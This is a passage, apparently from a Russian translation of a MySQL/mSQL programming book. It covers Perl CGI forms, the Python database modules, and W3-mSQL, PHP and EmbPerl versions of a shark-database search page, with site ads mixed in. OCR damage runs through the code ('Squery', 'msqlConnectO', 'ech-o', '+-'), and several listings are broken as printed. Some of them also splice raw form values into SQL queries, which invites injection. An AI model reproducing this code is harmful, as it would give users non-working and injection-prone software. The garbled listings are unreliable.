shift,©subjects;

my $name = "$first $tmiddle $last";

if ($ext) { $name .= ", $ext"; }

print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

print <<END_OF_HTML;

<H1>$name</h1> <p>

<FORM ACTION="students.cgi" METHOD=POST>

<INPUT TYPE=HIDDEN NAME="action" VALUE="change3">

<INPUT TYPE^HIDDEN NAME="id" VALUE="$id">

Имя:

<INPUT NAME="first" VALUE="$first" SIZE=20>

Отчество:

<INPUT NAME="middle" VALUE="$middle" SIZE=10>

Фамилия:

<INPUT NAME="last" VALUE="$last" SIZE=20>

МЛ./III/И т.д.

<INPUT NAME="ext" VALUE="$ext" SIZE=5> <br>

Адрес:

<INPUT NAME="address" VALUE="$address" SIZE=40><br>

Город:

<INPUT NAME="city" VALUE="$city" SIZE=20>

Штат:

<INPUT NAME="state" VALUE="$state" SIZE=5>

Почтовый индекс:

<INPUT NAME="zip" VALUE="$zip" SIZE=10xbr>

Телефон:

<INPUT NAME="phone" VALUE="$phone" SIZE=15><br>

Возраст:

<INPUT NAME="age" VALUE="$age" SIZE=5>

Пол:

END_OF_HTML

my %sexes = ( '1' => 'Мужской',

'2' => 'Женский' );

print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

print <<END_OF_HTML; <p>

Записан на:<br>

END_OF_HTML

my @ids = ();

my %subjects = ();

my $out2 = $dbh->query("select id,name from subject order by name");

while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

$subjects{"$id"} = $subject; }

print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

print <<END_OF_HTML;

<р>

<INPUT TYPE=SUBMIT VALUE=" Изменить данные об учащемся ">

<INPUT TYPE=SUBMIT NAME="delete" VALUE=" Удалить учащегося ">

<INPUT TYPE=RESET>

</form></body></html>

END_OF_HTML

}

Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.

Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML <SELECT> с заданными параметрами. Среди прочих, функция принимает параметры values, default и labels, относящиеся к значениям каждого тега <OPTION> , задающие выбираемые по умолчанию пункты и их метки, видимые пользователю.

Эта функция выводит заполненную форму, как если бы это была форма для добавления. Разница в том, что это данные для учащегося, уже имеющегося в базе данных. Функция changes принимает данные и обновляет данные в базе, как показано ниже:

sub changes {

if (param('delete')) { &delete2($id); } else {

my Squery = "update student set "; my @query = ();

foreach ('first', 'middle', 'last', 'ext', 'address', 'city', 'state', 'zip', 'phone') {

if (param($_)) { push(@query,"$_ = ".

$dbh->quote(param($_))); } }

push(@query,"age=".param('age')) if param('age');

push(@query,"sex=".param('sex')) if param('sex');

my $subjects = "':";

$subjects .= join(":",param('subjects'));

$subjects .= ":" unless $subjects eq "':";

$subjects .= "'";

push(@query, "subjects=$subjects");

Squery .= join(", ",@query) . " where id=$id"; $dbh->query($query);

print header, start_html('title'=>'Данные об учащемся изменены',

'BGCOLOR'=>'white'); # Вывести форму с сообщением об успехе

}

}

Обратите внимание, что при выборе кнопки «Delete» на странице изменения функция автоматически передает управление функции удаления. Это одно из главных преимуществ объединения в одной программе нескольких функций. Если вмешательства пользователя не требуется, то можно перескакивать между функциями без посылки пользователю сообщений о перенаправлении.

Оставшаяся часть этой функции довольно проста. Данные об учащемся собираются в запросе UPDATE, который отправляется серверу MySQL. Затем пользователю посылается страница с сообщением об успешном завершении работы.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №11. Python
    • Основы подключения к базам данных
    • Динамическое соединение с базами данных

Глава №11.

Python

Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) «Learning Python», изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org , а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.

Основы подключения к базам данных

API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

[4:30pm] athens> python

Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

>>> import MySQL;

>>> db = MySQL.connect( 'athens. imaginary.com');

>>> db.selectdb('db_test');

>>> result = db.do('select test_val from test where test_id = 1');

>>> print result;

[['This is a MySQL test.']]

>>>

Код для mSQL, делающий то же самое, выглядит почти идентично:

[4:30pm] athens> python

Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

>>> import mSQL;

>>> db = mSQL.connect('athens. imaginary.com');

>>> db.selectdb('db_test');

>>> result = db.query('select test_val from test where test_id = 1');

>>> print result;

[('This is a mSQL test.',)]

>>>

В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве «myuid» с паролем «password». Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).

Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

Запросы

Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.

В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

#!\/usr/local/bin/python

# Импорт модулей import Msql, MySQL;

# Инициализация значений database и query

database = 'db_test';

query = 'SELECT test_id, test_val FROM test';

# Соединение с серверами msql = mSQL.connect();

mysql = MySQL.connect();

# Выбор тестовых баз данных msql.selectdb(database);

mysql.selectdb(database);

# Выполнение запроса

m_result = msql.query(query);

my_result = mysql.do(query);

#Обработка результатов для mSQL

for row in m_result:

# Здесь row является кортежем

print "mSQL- test_id: ",row[0]," test_val: ",row[1];

# Обработка результатов для MySQL

for row in my_result:

ft Здесь row является списком

print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

# Закрыть соединение (только mSQL)

msql.close();

Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

Обновление

Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .

Динамическое соединение с базами данных

Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

Описатели команд в MySQL

Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

[7:20pm] athens> python

Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

>>> import MySQL;

>>> db = MySQL,con.nect();

>>> db.selectdb('db_test-);

>>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

'Bing!')");

>>> print result.affectedrows();

1

>>> result = db.query("SELECT * FROM test");

>>> print result. numrows();

3

>>> print result.fields();

[['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

100, "]]

>>> print result, fetchrows(-l);

[[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

>>>

В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.

Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

Метаданные базы данных

Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

Пример 11-3. Данные

[7:56pm] athens> python

Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

>>> import mSQL, MySQL;

>>> msql = mSQL.connect();

>>> mysql = MySQL.connect();

>>> print msql.listdbs();

['db_test', 'db_web']

>>> print mysql.listdbs();

[['dbjest'], ['mysql'], ['test']]

>>> msql.selectdb('db_test');

>>> mysql.selectdb('db_test');

>>> print msql. listtables();

['test', 'hosts']

>>> print mysql.listtables();

[['test']]

>>> print msql.serverinfo;

2.0.1

>>> print mysql.serverinfo();

3.21.17a-beta-log

>>> print mysql.clientinfo();

MySQL-Python-1.1

>>> print msql.hostname;

None

>>> print mysql.hostinfo();

Localhost via UNIX socket

>>> print mysql.stat();

Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

>>> print mysql.listprocesses();

None

>>>

В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III «Справочник» за полным описанием этих методов и атрибутов.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №12. РНР и другие средства поддержки HTML, управляемого базами данных
    • Альтернативные методы создания динамического содержания Web
    • W3-mSQL
    • PHP
    • Встроенный Perl

Глава №12.

PHP и другие средства поддержки HTML, управляемого базами данных

Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).

Альтернативные методы создания динамического содержания Web

Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - «включений на стороне сервера». В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

<!--#echo var="DATE_LOCAL" -->

Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:

<SCRIPT>

<! onMouseOver("станцевать джигу"); -->

</script>

Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.

При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги <IMG> для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.

W3-mSQL

W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 «Справочник по PHP Lite». Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/ ~me/mypage.html.

Содержимое HTML-файла внутри тега <! > интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

<HTML><HEAD><TITLE>Hello world!</title></head>

<BODY>

<!

echo("Hello world!");

>

</body></html>

Все, что не находится внутри тегов <! >, остается чистым HTML.

mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

W3-Auth

W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.

Установка

Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

#!/bin/sh

# Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

for file in 'Is *.c'; do

sed -e "s/cgi-bin/$1/" $file > $file.tmp

mv $file.tmp $file

done

Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

./scriptname yourcgidirectory

Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

После установки mSQL в каталоге misc домашнего каталога mSQL появляется сценарий с именем setup_www. Выполнение этого сценария приводит к созданию баз данных и таблиц, необходимых для использования W3-Auth на вашей машине. Этот сценарий создает имя пользователя и пароль для того, кто будет иметь полный контроль над W3-Auth. После завершения работы этого сценария можно использовать собственно W3-Auth для создания и изменения других прав доступа.

Пример использования W3-mSQL

Для иллюстрации использования W3-mSQL и Lite снова рассмотрим пример с морской организацией. У организации свой собственный вебсайт. На этом сайте есть интерактивная база данных, содержащая сведения о различных видах акул, обитающих в океанах. В нашем примере пользователь сначала получает простую HTML-страницу, содержащую форму. Задав в форме значения, пользователь может осуществлять поиск в базе данных по акулам для извлечения информации об отдельных видах. Форма HTML будет выглядеть примерно так:

<НТМL><НЕАD><TITLЕ>АКУЛЫ!</TITLЕ></head>

<BODY BGCOLOR="white">

<h1>Поиск в базе данных по акулам</h1>

<Р>

<FORM METHOD=POST ACTION="/cgi-bin/w3-msql/"sharks/search_result.html">

Вид: <SELECT NAME="species">

<OPTION>

<OPTION>Heterodontus Portusjackson

<OPTION>Galeocerdo Cuvier

<OPTION>Carcharodon Carcharias

<OPTION>Isurus Paucus

</select>

Возраст: <SELECT NAME="age">

<OPTION>

<OPTION>Молодые

<OPTION>Взрослые

<OPTION>Старые

</select>

Район: <SELECT NAME="location">

<OPTION>

<OPTION>Atlantic

<OPTION>Pacific

<OPTION>Caribean

<select>

<p>

<INPUT TYPE="SUBMIT" VALUE=" Ввести "> <INPUT TYPE=RESET>

</form>

</body>

</html>

Таблица mSQL, содержащая сведения об акулах, имеет следующую структуру:

Файл HTML /~sharks/search_result.html является файлом с расширениями W3-mSQL, извлекающим данные о запрошенном виде и выводящим данные об этой акуле.

<НТМL>

<НЕАD><ТITLЕ>Результаты поиска акулы</ТITLЕ></head>

<BODY>

<Н1>Вот акулы, удовлетворяющие условиям поиска...</h1>

<Р> <!

$sock = msqlConnectO;

if ($sock < 0) {

ech-o("Error : $ERRMSG\n");

exit(1);

}

if (msqlSelectDB($sock, "sharks") < 0) {

echo("Error : $ERRMSG\n");

exit(1); }

/* Начинаем построение запроса. В результате типичный запрос

*может выглядеть так:

* SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

*/

$query = "select * from sharks ";

if (Sspecies | Sage || Slocation) {

Squery +- " where "; }

if (Sspecies) { $query += $species = '$species'"; }

if ($age) {

if (Sspecies) { $query += " and "; }

$query += "age = Sage"; }

if (Slocation) {

if ($species | Sage) { $query += " and "; }

Squery += "location = 'Slocation''";

}

if (msqlQuery($sock,Squery) < 0) { echo("Error : $ERRMSG\n");

exit(1); }

Sresult = msqlStoreResultO; Snumresults = msqlNumRows(Sresult); >

<UL>

<!

if (! Snumresults ) {

echo ("<Н2>Результатов не найдено </h2>"); else{

$shark = msqlFetchRow(Sresult);

while USshark > 0) {

Sid = $shark[0];

echo("<LI>");

printf("<IMG SRC=\"graphics/shark%s.gif\" ALIGN=LEFT>", $shark[0]);

еспо("<В>Вид:</b> $shark[1]<br>");

if ($shark[2] == 1) { Sage = "Молодые"; }

else if ($shark[2] == 2) { Sage = "Взрослые"; }

else if {$shark[2] == 3) { Sage = "Старые"; }

echo("<В>Возраст:</b> $age<br>");

еспо'("<В>Район</b> $shark[3]<br>");

$shark = msqlFetchRow(Sresult); } }

>

</ul>

<A HREF="search. html">Hoвый поиск </а>

</body></html>

Обратите внимание, что код Lite и HTML могут перемежаться произвольным образом. В любом месте статического HTML можно завершить код Lite и вводить просто HTML. Это особенно полезно, если ваша страница в основном статична и лишь в некоторых местах требуется динамическое содержание.

Обратите также внимание на то место, где генерируется тег для изображения акулы с использованием ее ID. Это полезный способ включения данных, которые неудобно хранить в базе. Поскольку mSQL не может хранить большие двоичные поля, часто полезно хранить картинки, другие двоичные данные или даже большие объемы текста в виде плоских файлов, помеченных уникальными ID записей базы данных.

РНР

По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

РНР, что означает «PHP: Hypertext Preprocessor» (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

С использованием РНР пример с базой данных по акулам может выглядеть так:

<НТМL>

<НЕАD><TITLЕ>Результат поиска акул </title></head>

<BODY>

<Н1> Вот акулы, удовлетворяющие условиям поиска...</ht>

<Р> <?

/* Начинаем построение запроса. В результате типичный запрос

* может выглядеть так:

* SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

$query = "select * from sharks where ";

if ($species || $age || Slocation) {

$query += " where "; }

if ($species) { $query += "species = '$species'";

}

if ($age) {

if ($species) { $query += " and "; }

$query += "age = Sage";

}

if ($location) {

if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

}

$result = msql("sharks",Squery);

if (result == -1) {

echo("Error : $phperrmsg\n");

exit(1); }

Snumresults = msql_numrows($result);

>

<UL>

<!

if (! $numresults ); >

<Н2>Результатов не найдено </h2>

<!

else {

while-($i < $numresults) {

$id[$i] = msql_result($result,$i,"id");

$species[$i] = msql_result($result,$i,"species");

$age[$i] = msql_result($result,$i,"age");

$loc[$i] = msql_result($result,$i,"location");

echo("<LI>");

printf("<IMG SRC=\"graphics/shark%s,gif\" ALIGN=LEFT>", $id[$i]); echo("<В>Вид:</b> $species[$i]<br>");

if ($age[$i] == 1) { $age = "Молодые"; }

else if ($age[$i] == 2) { $age = "Взрослые"; }

else if {$age[$i] == 3) { $age = "Старые"; }

echo("<B>Age:</b> $age<br>");

echo("<B>Paйoн</b> $location[$i]<br>");

}

}

}

</ul>

<A HREF="search.html">Hoый поиск </а>

</body></html>

Встроенный Perl

Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

ePerl

Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

EmbPerl

Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные «метакоманды» - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.

<HTML>

<НЕАD><ТIТLЕ>Результаты поиска акул</title></head>

<BODY>

<Н1> Вот акулы, удовлетворяющие условиям поиска...</h1>

<р>

[-

use Msql;

use CGI qw(:standard);

$dbh = Msql->connect; $dbh->selectdb("sharks");

%age = ( '0' => 'Молодые',

'1' => 'Взрослые',

'2' => 'Старые'

);

# Начинаем построение запроса. В результате типичный запрос

# может выглядеть так:

# SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

$query = "select * from sharks where ";

if (Sspecies or Sage or $location) {

$query .= " where ";

$query .= join(" and ", param); }

Sresult = $dbh->query($query);

if (result == -1) {

echo("Error : " . Msql->errmsg . "\n");

exlt(l);

}

Snumresults = $result->numrows;

-]

<UL>

[$if (! Snumresults ) $]

<Н2>Результатов не найдено </h2> [SelseS]

[Swhile (%shark = $Msql->fetchhash($result)) $]

<LI>

